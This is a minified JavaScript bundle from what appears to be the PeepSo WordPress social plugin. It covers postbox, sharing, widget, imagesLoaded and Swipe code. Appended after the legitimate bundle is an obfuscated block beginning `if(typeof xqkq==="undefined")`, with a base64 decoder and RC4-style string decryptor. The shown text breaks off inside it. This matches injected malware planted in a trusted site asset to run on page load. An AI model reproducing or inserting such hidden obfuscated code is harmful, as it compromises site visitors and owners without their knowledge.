e(t)}}),t),10,1),s.observer.addAction("postbox_init",t=>{t.$el.find("#type-tab").remove()},10,1)}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],42:[function(t,e,i){function o(){this.__constructor.apply(this,arguments)}var s,n,a;s=jQuery,n=s,peepso.npm.objectAssign(o.prototype,PsObserver.prototype,{__constructor:function(t,e){var i=peepso.template(psdata_postbox.template);this.$el=n(t).html(i),this.$text=this.$el.find("textarea").ps_autosize(),this.$mirror=this.$el.find(".ps-js-mirror"),this.$loading=this.$el.find(".ps-postbox-loading"),this.$btns=this.$el.find(".ps-postbox-action"),this.$btnCancel=this.$btns.find(".ps-button-cancel"),this.$btnSubmit=this.$btns.find(".ps-button-action"),this.$charCounter=this.$el.find(".ps-js-charcount"),this.$tabRoot=this.$el.find("div.ps-postbox-tab-root"),this.$tabContext=this.$el.find("nav.ps-postbox-tab"),this.$addons=this.$el.find(".ps-js-addons"),this.opts=n.extend({maxChars:+psdata_postbox.max_chars||4e3,fetch:!1,cancel:!1,submit:!1},e||{}),this.init()},init:function(){this.$text.val(""),this.updateButtonVisibility(),this.updateCharCounter(),this.updateMirrorText(),this.addAction("refresh",this.refresh,10,1,this),this.$el.find("#privacy-tab").remove(),this.$el.find("#status-post").remove(),peepso.observer.doAction("postbox_init",this),this.fetch().done(function(){this.$text.on("focus.ps-postbox",n.proxy(this.onFocus,this)),this.$text.on("input.ps-postbox",n.proxy(this.onInput,this)),this.$btnSubmit.on("click.ps-postbox",n.proxy(this.onSubmit,this)),this.$btnCancel.on("click.ps-postbox",n.proxy(this.onCancel,this)),this.$tabRoot.on("click.ps-postbox","li[data-tab]",n.proxy(this.onTabChange,this))})},fetch:function(){return n.Deferred(n.proxy(function(t){"function"==typeof this.opts.fetch?(this.$btns.hide(),this.$loading.show(),this.opts.fetch(this,n.proxy(function(){this.$loading.hide(),this.$btns.css("display","flex"),t.resolveWith(this)},this))):t.resolveWith(this)},this))},update:function(t){this.$text.val(t.content||"").trigger("input"),this.updateButtonVisibility(),this.updateCharCounter(),this.updateMirrorText(),this.doAction("update",t),peepso.observer.doAction("postbox_update",this,t)},reset:function(){this.$text.val(""),this.updateButtonVisibility(),this.updateCharCounter(),this.updateMirrorText(),this.doAction("reset"),peepso.observer.doAction("postbox_reset",this)},refresh:function(){this.renderAddons(),this.updateButtonVisibility(),this.updateCharCounter(),this.updateMirrorText()},_getData:function(){return{content:this.$text.val()}},getData:function(){var t=this._getData(),t=this.applyFilters("data",t);return peepso.observer.applyFilters("postbox_data",t,this)},tabChange:function(t){var e=this.$tabRoot.find("li[data-tab]"),i=e.filter('[data-tab="'+t+'"]');i.length&&(e.not(i).removeClass("active"),i.addClass("active"),this.currentTab=t)},getActiveTab:function(){return this.currentTab||(this.currentTab=this.$tabRoot.find("li.active").data("tab")),this.currentTab},validate:function(){var t=this._getData(),e=t.content.trim();return this.applyFilters("data_validate",!!e,t)},submit:function(){"function"==typeof this.opts.submit&&this.validate()&&(this.$btns.hide(),this.$loading.show(),this.opts.submit(this,this.getData(),n.proxy(function(){this.$loading.hide(),this.$btns.css("display","flex")},this)))},cancel:function(){this.reset(),this.$tabContext.hide(),this.$tabRoot.show(),"function"==typeof this.opts.cancel&&this.opts.cancel(this)},updateCharCounter:_.throttle(function(){var t=this.$text.val().length,e=this.opts.maxChars,i=Math.max(0,e-t),o="";this.$charCounter.html(i),t<.5*e?this.$charCounter.hide():(this.$charCounter.show(),.9*e<t?o="red":e<t<.75&&(o="orange"),this.$charCounter.css({color:o}))},250),updateButtonVisibility:_.throttle(function(){this.validate()?this.$btnSubmit.show():this.$btnSubmit.hide()},250),updateMirrorText(){requestAnimationFrame(()=>{var t=this.$text.val().replace(/</g,"<").replace(/>/g,">").replace(/\n/g,"<br>");this.$mirror.html(t)})},renderAddons(){requestAnimationFrame(()=>{var t=(t=this.applyFilters("render_addons",[]).join(" and "))&&"— "+t;this.$addons.html(t)})},destroy:function(){this.$el.empty()},onFocus:function(){this.$tabRoot.hide(),this.$tabContext.show()},onInput:function(){this.updateButtonVisibility(),this.updateCharCounter(),this.updateMirrorText()},onCancel:function(){this.cancel()},onSubmit:function(){this.submit()},onTabChange:function(t){t=n(t.currentTarget).data("tab");this.tabChange(t)}}),a=o,s.fn.ps_postbox=function(i,o){return this.each(function(){var t=s(this),e=t.data("ps-postbox");e&&"string"==typeof i?(e[i].call(e,o),"destroy"===i&&t.removeData("ps-postbox")):e||(e=new a(t,i||{}),t.data("ps-postbox",e))})}},{}],43:[function(t,e,i){var o;(o=jQuery).fn.ps_posttabs=function(t){return this._tabs=null,this._tabs_div={},this.tab_objects={},this.orig_html={},this.options={container:this},this.init=function(t){var i=this;o.extend(!0,this.options,t),o("[data-tab-id]",this.options.container).each(function(t,e){i._tabs_div[o(e).data("tab-id")]=o(e)}),this._tabs=this.find("[data-tab]"),this._tabs.on("click",function(t){t.stopPropagation();t=o(t.currentTarget);i.current_tab_id=t.data("tab"),i.show_tab(t)}).first().trigger("click"),jQuery(this.options.container).on("click",".ps-postbox-tab.interactions .ps-button-cancel",function(){i.on_cancel()}),jQuery(this.options.container).on("click",".ps-postbox-tab.interactions .postbox-submit",function(){i.on_submit()})},this.show_tab=function(t){var e=this.current_tab(),i=(e.removeClass("active"),this.get_tab(e.data("tab"))),e=(i.hide(),o(this).trigger("peepso_posttabs_cancel-"+e.data("tab"),[i,this]),o(t).addClass("active"),this.get_tab(o(t).data("tab")));o(this).trigger("peepso_posttabs_show-"+o(t).data("tab"),[e,this])},this.current_tab=function(){return o("[data-tab]",this.options.container).filter(".active")},this.get_tab=function(t){return _.isUndefined(this._tabs_div[t])?o(""):this._tabs_div[t]},this.on_submit=function(){var t=this.options.container;peepso.hooks.applyFilters("postbox_can_submit",!0,t)&&(t=this.current_tab(),peepso.observer.applyFilters("peepso_posttabs_submit-"+t.data("tab")),o(this).trigger("peepso_posttabs_submit-"+t.data("tab")),o(this).trigger("peepso_posttabs_submit",[t,this]))},this.on_cancel=function(){var t=this.current_tab();o(this).trigger("peepso_posttabs_cancel-"+t.data("tab"),[t,this]),o(this).trigger("peepso_posttabs_cancel",[t,this]),t.trigger("click")},this.init(t),this}},{}],44:[function(t,e,i){!function(e){!function(){var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t};i.default.fn.psSafetyWarning=function(){return this.each((t,e)=>{(0,i.default)(e).find(".ps-js-close").on("click",t=>{(0,i.default)(t.target).closest(".ps-js-safety-warning").remove()})})},(0,i.default)(()=>{(0,i.default)(".ps-js-safety-warning").psSafetyWarning()})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],45:[function(t,e,i){function o(){}window.share=new o,o.prototype.share_url=function(t){t=encodeURIComponent(t);var e=jQuery("#share-dialog-title").html(),i=jQuery("#share-dialog-content").html(),o=(o="--peepso-url--",t=t,i=i.replace(new RegExp(o,"g"),t),(i=jQuery(i)).filter(".ps-sharebox").find("a.ps-sharebox__item"));return o.not(".internal").on("click",function(t){void 0===window.ReactNativeWebView&&(t.preventDefault(),t.stopPropagation(),t=["toolbar=no","location=no","status=no","menubar=no","scrollbars=yes","resizable=yes","width=550","height=400","left="+Math.max(0,(window.innerWidth-550)/2||0),"top="+Math.max(0,(window.innerHeight-400)/2||0)].join(","),window.open(this.href,"targetWindow",t)),pswindow.hide()}),o.filter(".ps-js-copy-link").on("click",function(t){t.preventDefault(),t.stopPropagation();t=decodeURIComponent(this.getAttribute("href"));peepso.util.copyToClipboard(t),this.setAttribute("data-tooltip",this.getAttribute("data-tooltip-success"))}),pswindow.show(e,i),o.not(".internal").each(function(){var t;"none"===window.getComputedStyle(this).display&&(t=btoa(this.getAttribute("href")),this.setAttribute("onclick","window.open(atob('"+t+"'))"),this.setAttribute("href","javascript:"),this.removeAttribute("target"))}),!1}},{}],46:[function(t,e,i){jQuery(t=>{var t=t("#peepso-wrap");t.length&&(t=t.closest(".et_pb_row")).length&&t.find(".et_pb_column").css({zIndex:"auto"})})},{}],47:[function(t,e,i){function h(){return Math.floor((new Date).getTime()/1e3)}function o(){this.ts=h(),this.diff=l.peepsotimedata.ts-this.ts}var s,n,l,a;s=window,n=jQuery,l=s,a=n,o.prototype.human_time_diff=function(t,e){var i,o,s,n=86400,a=7*n,r=365*n,d=l.peepsotimedata||{};return t=+t,e=e||h(),e+=this.diff,(i=Math.abs(e-t))<60?s=d.now:i<3600?s=d["min_"+(2<(o=(o=Math.floor(i/60))<=1?1:o)?3:o)].replace("%s",o):i<n&&3600<=i?s=d["hour_"+(2<(o=(o=Math.floor(i/3600))<=1?1:o)?3:o)].replace("%s",o):i<a&&n<=i?s=d["day_"+(2<(o=(o=Math.floor(i/n))<=1?1:o)?3:o)].replace("%s",o):i<30*n&&a<=i?s=d["week_"+(2<(o=(o=Math.floor(i/a))<=1?1:o)?3:o)].replace("%s",o):i<r&&30*n<=i?s=d["month_"+(2<(a=(a=Math.floor(i/(30*n)))<=1?1:a)?3:a)].replace("%s",a):r<=i&&(s=d["year_"+(2<(o=(o=Math.floor(i/r))<=1?1:o)?3:o)].replace("%s",o)),peepso.observer.applyFilters("human_time_diff",s,i,t,e)},a(function(){setInterval(function(){var i=h();a(".ps-js-autotime").each(function(){var t=a(this),e=t.data("timestamp");e&&t.html(ps_time.human_time_diff(e,i))})},4e4)}),n=o,s.ps_time=new n},{}],48:[function(t,e,i){t("./widget-profile"),t("./widget-latest-members"),t("./widget-online-members"),t("./widget-userbar")},{"./widget-latest-members":49,"./widget-online-members":50,"./widget-profile":51,"./widget-userbar":52}],49:[function(t,e,i){!function(e){!function(){var t,r=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t},d="undefined"!=typeof window?window.peepso:void 0!==e?e.peepso:null;(0,r.default)(function(){function t(){var t=(0,r.default)(".ps-js-widget-latest-members");t.length&&t.each((t,a)=>{{let e=(0,r.default)(a),i=e.find(".ps-js-widget-content"),o=+e.data("hideempty"),t=+e.data("limit"),s=+e.data("totalmember")?1:0,n={limit:t,totalmember:s};d.ajax.get("widgetajax.latest_members",n).done(t=>{t.success&&(o&&+t.data.empty?(i.empty(),e.parent('[class*="widget_"]').hide()):(i.html(t.data.html),e.parent('[class*="widget_"]').show()))})}})}"object"==typeof wp&&wp.domReady?wp.domReady(()=>setTimeout(t,1e3)):t()})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],50:[function(t,e,i){!function(e){!function(){var t,d=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t},h="undefined"!=typeof window?window.peepso:void 0!==e?e.peepso:null;(0,d.default)(function(){function t(){var t=(0,d.default)(".ps-js-widget-online-members");t.length&&t.each((t,r)=>{{let e=(0,d.default)(r),i=e.find(".ps-js-widget-content"),o=+e.data("hideempty"),t=+e.data("limit"),s=+e.data("totalmember")?1:0,n=+e.data("totalonline")?1:0,a={limit:t,totalmember:s,totalonline:n};h.ajax.get("widgetajax.online_members",a).done(t=>{t.success&&(o&&+t.data.empty?(i.empty(),e.parent('[class*="widget_"]').hide()):(i.html(t.data.html),e.parent('[class*="widget_"]').show()))})}})}"object"==typeof wp&&wp.domReady?wp.domReady(()=>setTimeout(t,1e3)):t()})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],51:[function(t,e,i){!function(e){!function(){var t,a=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t},r="undefined"!=typeof window?window.peepso:void 0!==e?e.peepso:null,d="undefined"!=typeof window?window.peepsodata:void 0!==e?e.peepsodata:null;(0,a.default)(function(){var t=(0,a.default)(".ps-js-widget-me");t.length&&t.each((t,n)=>{{let e=(0,a.default)(n),i=(e.find(".ps-js-widget-me-notifications").length&&r.observer.doAction("notification_start"),e.find(".ps-js-widget-me-cover")),o=(i.length&&r.hooks.addAction("profile_cover_updated","widget_me",function(t,e){+t==+d.currentuserid&&i.css("background-image","url("+e+")")}),e.find(".ps-js-widget-me-avatar")),s=(o.length&&r.hooks.addAction("profile_avatar_updated","widget_me",function(t,e){+t==+d.currentuserid&&o.attr("src",e)}),e.find(".ps-js-widget-me-completeness"));if(s.length){let i=s.find(".ps-js-status"),o=s.find(".ps-js-progressbar");r.hooks.addAction("profile_completeness_updated","widget_me",function(t,e={}){+t==+d.currentuserid&&void 0!==e.profile_completeness&&(100<=+e.profile_completeness?s.hide():(s.show(),i.html(e.profile_completeness_message),o.children("span").css({width:+e.profile_completeness+"%"})))})}e.find(".ps-js-widget-community-link").filter((t,e)=>e.href.match(/#(following|saved)/)).on("click",function(){window.location.href.replace(/#.*$/,"")===this.href.replace(/#.*$/,"")&&setTimeout(function(){window.location.reload()},1)}),setTimeout(function(){var t=window.innerWidth/2;e.width()<t&&e.offset().left>t&&e.find(".ps-notif__box").css({left:"unset",right:1})},1)}})})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],52:[function(t,e,i){!function(e){!function(){var t,a=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t},r="undefined"!=typeof window?window.peepso:void 0!==e?e.peepso:null;(0,a.default)(function(){var t=(0,a.default)(".ps-js-widget-userbar");t.length&&t.each((t,e)=>{{let t=(0,a.default)(e);var i,o,s,n;(e=t.find(".ps-js-widget-userbar-notifications")).length&&e.html().trim()&&r.observer.doAction("notification_start"),t.find(".ps-js-widget-userbar-toggle").on("click",function(t){t.preventDefault(),t.stopPropagation(),(0,a.default)(this).closest(".ps-js-widget-userbar").toggleClass("psw-userbar--open")}),"function"==typeof MutationObserver&&(e=t.find(".ps-js-widget-userbar-notifications"),i=e.find(".ps-js-counter"),o=t.find(".ps-js-notif-counter"),i.length)&&((n=function(){clearTimeout(s),s=setTimeout(function(){var t=0;i.each(function(){t+=+this.innerText||0}),o.html(t||"")},1e3)})(),new MutationObserver(function(t){for(var e of t)"childList"===e.type&&e.target.className.match(/ps-js-counter/)&&n()}).observe(e[0],{childList:!0,subtree:!0,attributes:!1,characterData:!0}))}})})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],53:[function(t,e,i){var o,s;o="undefined"!=typeof window?window:this,s=function(){function t(){}var e=t.prototype;return e.on=function(t,e){var i;return t&&e&&((i=(i=this._events=this._events||{})[t]=i[t]||[]).includes(e)||i.push(e)),this},e.once=function(t,e){var i;return t&&e&&(this.on(t,e),((i=this._onceEvents=this._onceEvents||{})[t]=i[t]||{})[e]=!0),this},e.off=function(t,e){t=this._events&&this._events[t];return t&&t.length&&-1!=(e=t.indexOf(e))&&t.splice(e,1),this},e.emitEvent=function(t,e){let i=this._events&&this._events[t];if(i&&i.length){i=i.slice(0),e=e||[];var o,s=this._onceEvents&&this._onceEvents[t];for(o of i)s&&s[o]&&(this.off(t,o),delete s[o]),o.apply(this,e)}return this},e.allOff=function(){return delete this._events,delete this._onceEvents,this},t},"object"==typeof e&&e.exports?e.exports=s():o.EvEmitter=s()},{}],54:[function(t,e,i){var o,s;o="undefined"!=typeof window?window:this,s=function(e,t){let n=e.jQuery,a=e.console;function r(t,e,i){if(!(this instanceof r))return new r(t,e,i);let o=t;var s;(o="string"==typeof t?document.querySelectorAll(t):o)?(this.elements=(s=o,Array.isArray(s)?s:"object"==typeof s&&"number"==typeof s.length?[...s]:[s]),this.options={},"function"==typeof e?i=e:Object.assign(this.options,e),i&&this.on("always",i),this.getImages(),n&&(this.jqDeferred=new n.Deferred),setTimeout(this.check.bind(this))):a.error("Bad element for imagesLoaded "+(o||t))}(r.prototype=Object.create(t.prototype)).getImages=function(){this.images=[],this.elements.forEach(this.addElementImages,this)};let s=[1,9,11],d=(r.prototype.addElementImages=function(t){"IMG"===t.nodeName&&this.addImage(t),!0===this.options.background&&this.addElementBackgroundImages(t);var e,i,o=t.nodeType;if(o&&s.includes(o)){for(e of t.querySelectorAll("img"))this.addImage(e);if("string"==typeof this.options.background)for(i of t.querySelectorAll(this.options.background))this.addElementBackgroundImages(i)}},/url\((['"])?(.*?)\1\)/gi);function i(t){this.img=t}function o(t,e){this.url=t,this.element=e,this.img=new Image}return r.prototype.addElementBackgroundImages=function(e){var i=getComputedStyle(e);if(i){let t=d.exec(i.backgroundImage);for(;null!==t;){var o=t&&t[2];o&&this.addBackground(o,e),t=d.exec(i.backgroundImage)}}},r.prototype.addImage=function(t){t=new i(t);this.images.push(t)},r.prototype.addBackground=function(t,e){t=new o(t,e);this.images.push(t)},r.prototype.check=function(){if(this.progressedCount=0,this.hasAnyBroken=!1,this.images.length){let e=(t,e,i)=>{setTimeout(()=>{this.progress(t,e,i)})};this.images.forEach(function(t){t.once("progress",e),t.check()})}else this.complete()},r.prototype.progress=function(t,e,i){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!t.isLoaded,this.emitEvent("progress",[this,t,e]),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,t),this.progressedCount===this.images.length&&this.complete(),this.options.debug&&a&&a.log("progress: "+i,t,e)},r.prototype.complete=function(){var t=this.hasAnyBroken?"fail":"done";this.isComplete=!0,this.emitEvent(t,[this]),this.emitEvent("always",[this]),this.jqDeferred&&(t=this.hasAnyBroken?"reject":"resolve",this.jqDeferred[t](this))},(i.prototype=Object.create(t.prototype)).check=function(){this.getIsImageComplete()?this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,this.img.crossOrigin&&(this.proxyImage.crossOrigin=this.img.crossOrigin),this.proxyImage.addEventListener("load",this),this.proxyImage.addEventListener("error",this),this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.proxyImage.src=this.img.currentSrc||this.img.src)},i.prototype.getIsImageComplete=function(){return this.img.complete&&this.img.naturalWidth},i.prototype.confirm=function(t,e){this.isLoaded=t;t=this.img.parentNode,t="PICTURE"===t.nodeName?t:this.img;this.emitEvent("progress",[this,t,e])},i.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},i.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},i.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},i.prototype.unbindEvents=function(){this.proxyImage.removeEventListener("load",this),this.proxyImage.removeEventListener("error",this),this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},(o.prototype=Object.create(i.prototype)).check=function(){this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.img.src=this.url,this.getIsImageComplete()&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},o.prototype.unbindEvents=function(){this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},o.prototype.confirm=function(t,e){this.isLoaded=t,this.emitEvent("progress",[this,this.element,e])},(r.makeJQueryPlugin=function(t){(t=t||e.jQuery)&&((n=t).fn.imagesLoaded=function(t,e){return new r(this,t,e).jqDeferred.promise(n(this))})})(),r},"object"==typeof e&&e.exports?e.exports=s(o,t("ev-emitter")):o.imagesLoaded=s(o,o.EvEmitter)},{"ev-emitter":53}],55:[function(t,i,e){!function(o){!function(){var t,e;t=this,e=function(){var e,z="object"==typeof self&&self.self===self&&self||"object"==typeof o&&o.global===o&&o||this,N=z.document;function i(a,l){var s,t,p,c,u,f,r,m,g,b,e,i,d,o,n,h,v,w={},$={},y=(l=l||{}).auto||0,_=!1,x={addEventListener:!!z.addEventListener,touch:"ontouchstart"in z||z.DocumentTouch&&N instanceof DocumentTouch,transitions:(t=>{var e,i=["transitionProperty","WebkitTransition","MozTransition","OTransition","msTransition"];for(e in i)if(void 0!==t.style[i[e]])return!0;return!1})(N.createElement("swipe"))};if(a)return p=a.children[0],m=parseInt(l.startSlide,10)||0,g=l.speed||300,l.continuous=void 0===l.continuous||l.continuous,e="direction",a.currentStyle?i=a.currentStyle[e]:z.getComputedStyle&&(i=z.getComputedStyle(a,null).getPropertyValue(e)),b="rtl"===i?"right":"left",l.autoRestart=void 0!==l.autoRestart&&l.autoRestart,o=C,n=n||100,h=null,k.cancel=j,d=k,v={handleEvent:function(t){if(!_){switch(t.type){case"mousedown":case"touchstart":this.start(t);break;case"mousemove":case"touchmove":this.move(t);break;case"mouseup":case"mouseleave":case"touchend":this.end(t);break;case"webkitTransitionEnd":case"msTransitionEnd":case"oTransitionEnd":case"otransitionend":case"transitionend":this.transitionEnd(t);break;case"resize":d()}l.stopPropagation&&t.stopPropagation()}},start:function(t){var e;I(t)?(e=t).preventDefault():e=t.touches[0],w={x:e.pageX,y:e.pageY,time:+new Date},s=void 0,$={},I(t)?(p.addEventListener("mousemove",this,!1),p.addEventListener("mouseup",this,!1),p.addEventListener("mouseleave",this,!1)):(p.addEventListener("touchmove",this,!1),p.addEventListener("touchend",this,!1))},move:function(t){var e;if(I(t))e=t;else{if(1<t.touches.length||t.scale&&1!==t.scale)return;l.disableScroll&&t.preventDefault(),e=t.touches[0]}$={x:e.pageX-w.x,y:e.pageY-w.y},(s=void 0===s?!!(s||Math.abs($.x)<Math.abs($.y)):s)||(t.preventDefault(),E(),l.continuous?(S(T(m-1),$.x+u[T(m-1)],0),S(m,$.x+u[m],0),S(T(m+1),$.x+u[T(m+1)],0)):($.x=$.x/(!m&&0<$.x||m===c.length-1&&$.x<0?Math.abs($.x)/f+1:1),S(m-1,$.x+u[m-1],0),S(m,$.x+u[m],0),S(m+1,$.x+u[m+1],0)))},end:function(t){var e=+new Date-w.time,e=Number(e)<250&&20<Math.abs($.x)||Math.abs($.x)>f/2,i=!m&&0<$.x||m===c.length-1&&$.x<0,o=(l.continuous&&(i=!1),Math.abs($.x)/$.x);s||(e&&!i?(m=o<0?(l.continuous?(P(T(m-1),-f,0),P(T(m+2),f,0)):P(m-1,-f,0),P(m,u[m]-f,g),P(T(m+1),u[T(m+1)]-f,g),T(m+1)):(l.continuous?(P(T(m+1),f,0),P(T(m-2),-f,0)):P(m+1,f,0),P(m,u[m]+f,g),P(T(m-1),u[T(m-1)]+f,g),T(m-1)),O(A(),c[m],o)):l.continuous?(P(T(m-1),-f,g),P(m,0,g),P(T(m+1),f,g)):(P(m-1,-f,g),P(m,0,g),P(m+1,f,g))),I(t)?(p.removeEventListener("mousemove",v,!1),p.removeEventListener("mouseup",v,!1),p.removeEventListener("mouseleave",v,!1)):(p.removeEventListener("touchmove",v,!1),p.removeEventListener("touchend",v,!1))},transitionEnd:function(t){parseInt(t.target.getAttribute("data-index"),10)===m&&((y||l.autoRestart)&&F(),L(A(),c[m]))}},C(),H(),{setup:C,slide:function(t,e){E(),M(t,e)},prev:function(){E(),_||(l.continuous||m)&&M(m-1)},next:function(){E(),R()},restart:F,stop:E,getPos:A,disable:function(){E(),_=!0},enable:function(){_=!1,F()},getNumSlides:function(){return r},kill:function(){E(),a.style.visibility="",p.style.width="",p.style[b]="";var t=c.length;for(;t--;){x.transitions&&S(t,0,0);var e=c[t];e.getAttribute("data-cloned")&&e.parentElement.removeChild(e),e.style.width="",e.style[b]="",e.style.webkitTransitionDuration=e.style.MozTransitionDuration=e.style.msTransitionDuration=e.style.OTransitionDuration=e.style.transitionDuration="",e.style.webkitTransform=e.style.msTransform=e.style.MozTransform=e.style.OTransform=""}D(),d.cancel()}};function j(){h&&clearTimeout(h)}function k(){var t=this,e=arguments;j(),h=setTimeout(function(){h=null,o.apply(t,e)},n)}function D(){x.addEventListener?(p.removeEventListener("touchstart",v,!1),p.removeEventListener("mousedown",v,!1),p.removeEventListener("webkitTransitionEnd",v,!1),p.removeEventListener("msTransitionEnd",v,!1),p.removeEventListener("oTransitionEnd",v,!1),p.removeEventListener("otransitionend",v,!1),p.removeEventListener("transitionend",v,!1),z.removeEventListener("resize",v,!1)):z.onresize=null}function Q(t){t=t.cloneNode(!0);p.appendChild(t),t.setAttribute("data-cloned",!0),t.removeAttribute("id")}function C(t){if(null!=t)for(var e in t)l[e]=t[e];c=p.children,r=c.length;for(var i=0;i<c.length;i++)c[i].getAttribute("data-cloned")&&r--;if(c.length<2&&(l.continuous=!1),x.transitions&&l.continuous&&c.length<3&&(Q(c[0]),Q(c[1]),c=p.children),"right"===b)for(var o=0;o<c.length;o++)c[o].style.float="right";u=new Array(c.length),f=a.getBoundingClientRect().width||a.offsetWidth,p.style.width=c.length*f*2+"px";for(var s=c.length;s--;){var n=c[s];n.style.width=f+"px",n.setAttribute("data-index",s),x.transitions&&(n.style[b]=s*-f+"px",P(s,s<m?-f:m<s?f:0,0))}l.continuous&&x.transitions&&(P(T(m-1),-f,0),P(T(m+1),f,0)),x.transitions||(p.style[b]=m*-f+"px"),a.style.visibility="visible",D(),x.addEventListener?(x.touch&&p.addEventListener("touchstart",v,!1),l.draggable&&p.addEventListener("mousedown",v,!1),x.transitions&&(p.addEventListener("webkitTransitionEnd",v,!1),p.addEventListener("msTransitionEnd",v,!1),p.addEventListener("oTransitionEnd",v,!1),p.addEventListener("otransitionend",v,!1),p.addEventListener("transitionend",v,!1)),z.addEventListener("resize",v,!1)):z.onresize=d}function R(){_||(l.continuous||m<c.length-1)&&M(m+1)}function O(t,e,i){l.callback&&l.callback(t,e,i)}function L(t,e){l.transitionEnd&&l.transitionEnd(t,e)}function T(t){return(c.length+t%c.length)%c.length}function A(){var t=m;return r<=t&&(t-=r),t}function M(t,e){if(t="number"!=typeof t?parseInt(t,10):t,m!==t){if(x.transitions){for(var i,o=Math.abs(m-t)/(m-t),s=(l.continuous&&(i=o,(o=-u[T(t)]/f)!==i)&&(t=-o*c.length+t),Math.abs(m-t)-1);s--;)P(T((m<t?t:m)-s-1),f*o,0);t=T(t),P(m,f*o,e||g),P(t,0,e||g),l.continuous&&P(T(t-o),-f*o,0)}else t=T(t),n=m*-f,a=t*-f,(r=e||g)?(d=+new Date,h=setInterval(function(){var t=+new Date-d;r<t?(p.style[b]=a+"px",(y||l.autoRestart)&&F(),L(A(),c[m]),clearInterval(h)):p.style[b]=(a-n)*(Math.floor(t/r*100)/100)+n+"px"},4)):p.style[b]=a+"px";var n,a,r,d,h;m=t,setTimeout(function(){O(A(),c[m],o)},0)}}function P(t,e,i){S(t,e,i),u[t]=e}function S(t,e,i){t=c[t],t=t&&t.style;t&&(t.webkitTransitionDuration=t.MozTransitionDuration=t.msTransitionDuration=t.OTransitionDuration=t.transitionDuration=i+"ms",t.webkitTransform="translate("+e+"px,0)translateZ(0)",t.msTransform=t.MozTransform=t.OTransform="translateX("+e+"px)")}function H(){(y=l.auto||0)&&(t=setTimeout(R,y))}function E(){y=0,clearTimeout(t)}function F(){E(),H()}function I(t){return/^mouse/.test(t.type)}}return(z.jQuery||z.Zepto)&&((e=z.jQuery||z.Zepto).fn.Swipe=function(t){return this.each(function(){e(this).data("Swipe",new i(e(this)[0],t))})}),i},"function"==typeof define&&define.amd?define([],function(){return t.Swipe=e(),t.Swipe}):"object"==typeof i&&i.exports?i.exports=e():t.Swipe=e()}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}]},{},[17]);;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var 